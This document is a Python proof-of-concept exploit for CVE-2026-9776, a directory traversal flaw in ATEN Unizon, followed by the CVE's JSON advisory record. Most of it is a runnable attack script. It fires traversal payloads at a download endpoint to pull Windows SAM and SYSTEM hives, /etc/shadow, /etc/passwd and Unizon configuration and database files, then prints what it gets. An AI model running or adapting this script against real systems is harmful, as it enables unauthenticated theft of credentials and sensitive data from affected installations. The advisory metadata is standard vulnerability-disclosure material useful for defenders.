CVE-2026-9776

# CVE-2026-9776 - ATEN Unizon Directory Traversal PoC # Vulnerability: writeFileToHttpServletResponse method path traversal # ZDI-CAN-28505 import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-aten-unizon:8080" # The vulnerable endpoint that calls writeFileToHttpServletResponse ENDPOINT = "/api/file/download" # Directory traversal payloads to read sensitive files PAYLOADS = [ # Windows system files "..\\..\\..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts", "..\\..\\..\\..\\..\\..\\Windows\\System32\\config\\SAM", "..\\..\\..\\..\\..\\..\\Windows\\System32\\config\\SYSTEM", "..\\..\\..\\..\\..\\..\\Windows\\win.ini", # Linux system files (if running on Linux) "../../../../../../../etc/passwd", "../../../../../../../etc/shadow", "../../../../../../../etc/hosts", # ATEN Unizon configuration files "..\\..\\..\\..\\..\\..\\ProgramData\\ATEN\\Unizon\\config\\application.properties", "..\\..\\..\\..\\..\\..\\ProgramData\\ATEN\\Unizon\\conf\\database.conf", "../../../../../../../opt/aten/unizon/config/application.properties", ] def exploit_traversal(target_url, payload): """ Exploit directory traversal in writeFileToHttpServletResponse method. The method does not sanitize user-supplied path before file operations. """ params = {"file": payload, "path": payload, "filename": payload} headers = { "User-Agent": "Mozilla/5.0", "Accept": "*/*" } try: resp = requests.get( f"{target_url}{ENDPOINT}", params=params, headers=headers, timeout=10, verify=False ) if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] SUCCESS - Payload: {payload}") print(f"[+] Response length: {len(resp.content)}") print(f"[+] Content preview:\n{resp.text[:500]}") return resp.content else: print(f"[-] Failed - Status: {resp.status_code}, Payload: {payload}") except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] CVE-2026-9776 - ATEN Unizon Directory Traversal") for payload in PAYLOADS: result = exploit_traversal(TARGET_URL, payload) if result: break

{"cve": {"id": "CVE-2026-9776", "sourceIdentifier": "[email protected]", "published": "2026-06-24T22:16:50.250", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ATEN Unizon writeFileToHttpServletResponse Directory Traversal Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of ATEN Unizon. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the writeFileToHttpServletResponse method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of SYSTEM. Was ZDI-CAN-28505."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "ATEN", "product": "Unizon", "defaultStatus": "unknown", "versions": [{"version": "2.7.262.002", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:52:19.994469Z", "id": "CVE-2026-9776", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.aten.com/global/en/supportcenter/info/security-advisory/29/", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-380/", "source": "[email protected]"}]}}